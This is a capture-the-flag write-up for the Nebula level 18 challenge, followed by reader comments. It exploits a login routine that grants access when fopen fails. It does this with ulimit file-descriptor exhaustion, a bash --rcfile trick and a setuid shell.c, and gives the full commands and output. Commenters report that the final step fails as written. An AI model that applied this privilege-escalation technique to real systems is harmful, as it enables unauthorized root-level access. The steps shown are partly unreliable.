I noticed this vulnerability in Nebula [18] during a debugging session when trying to solve this level using format string vulnerability.
Vulnerability
Vulnerability
fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); //no call to fclose is made in the disassembly of login if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; //disas login 0x08048c7e <+46>: call 0x8048750 <fopen@plt> 0x08048c83 <+51>: test %eax,%eax 0x08048c85 <+53>: mov %eax,%ebx 0x08048c87 <+55>: je 0x8048cb5 <login+101> 0x08048c89 <+57>: lea 0x1c(%esp),%esi 0x08048c8d <+61>: mov %eax,0x8(%esp) 0x08048c91 <+65>: movl $0x3f,0x4(%esp) 0x08048c99 <+73>: mov %esi,(%esp) 0x08048c9c <+76>: call 0x8048670 <fgets@plt> 0x08048ca1 <+81>: test %eax,%eax 0x08048ca3 <+83>: je 0x8048d18 <login+200> 0x08048ca5 <+85>: mov %esi,0x4(%esp) 0x08048ca9 <+89>: mov %edi,(%esp) 0x08048cac <+92>: call 0x8048640 <strcmp@plt> 0x08048cb1 <+97>: test %eax,%eax 0x08048cb3 <+99>: jne 0x8048cf4 <login+164>In the above code globals.loggedin can be set to 1 if fopen() function fails. During the debugging session it failed as flag18 drops privileges within the debugger and it doesn't have the permission to read the password file. After reading through the error cases for fopen, I found a couple of them interesting in the context of the challenge - EMFILE and EINTR. The login function simply returns without closing the file it opened. Lets see if we can take advantage of this
level18@nebula:/tmp$ ulimit -Sn 1024 level18@nebula:/tmp$ ulimit -Hn 4096 level18@nebula:/tmp$ ulimit -a | grep files open files (-n) 1024 level18@nebula:/tmp$ ulimit -Sn 50 level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v /home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24 level18@nebula:/tmp$ cat test | tail attempting to login logged in successfully (without password file) got [login test] as input attempting to login logged in successfully (without password file) got [login test] as input attempting to login logged in successfully (without password file) got [shell] as input attempting to start shell level18@nebula:/tmp$ cat /usr/include/asm-generic/errno-base.h | grep 24 #define EMFILE 24 /* Too many open files */There is a per process limit for number of open file descriptors a process can have.ulimit can be used to change this number upto the hard limit. Here we reduce the number and force fopen to fail. Error 24 is nothing but "Too many open files". We need to close a few files inorder to lauch the shell. The application itself provides an option to close a file using "closelog" but I was not sure if this was enough. Lets try it out
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v /home/flag18/flag18: -d: invalid optionWe managed to launch the shell but the same arguments passed to flag18 binary is used for launching the shell too and bash complains about this, since its invalid options. After looking into the man page, we can find a few options to get things right.
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'r' /home/flag18/flag18: invalid option -- 'c' /home/flag18/flag18: invalid option -- 'f' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'l' /home/flag18/flag18: invalid option -- 'e' test: line 1: Starting: command not found test: line 2: got: command not foundAs you can see, bash tries to execute commands from the 'test' file. So lets create a valid file and update the $PATH variable.
level18@nebula:/tmp$ cat Starting ulimit -Sn 1024 gcc -o shell shell.c chmod 4770 shell level18@nebula:/tmp$ cat shell.c int main(void) { setresuid(geteuid(), geteuid(), geteuid()); system("/bin/sh"); return 0; } level18@nebula:/tmp$ export PATH=/tmp:$PATH level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null level18@nebula:/tmp$ ./shell sh-4.2$ id uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
This doesn't work either. Sorry people...
ReplyDeleteThe last line has a typo, you should substitue "Starting" for "test"
python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null
Should be
python -c 'print "login Starting\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null
it compiles the "shell" program:
-rwsrwx--- 1 flag18 level18 7.1K 2014-04-12 15:36 shell
but when you execute it, there is not change of the effective uid:
level18@nebula:/tmp$ python -c 'print "login Starting\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null
level18@nebula:/tmp$ ./shell
sh-4.2$ id
uid=1019(level18) gid=1019(level18) groups=1019(level18)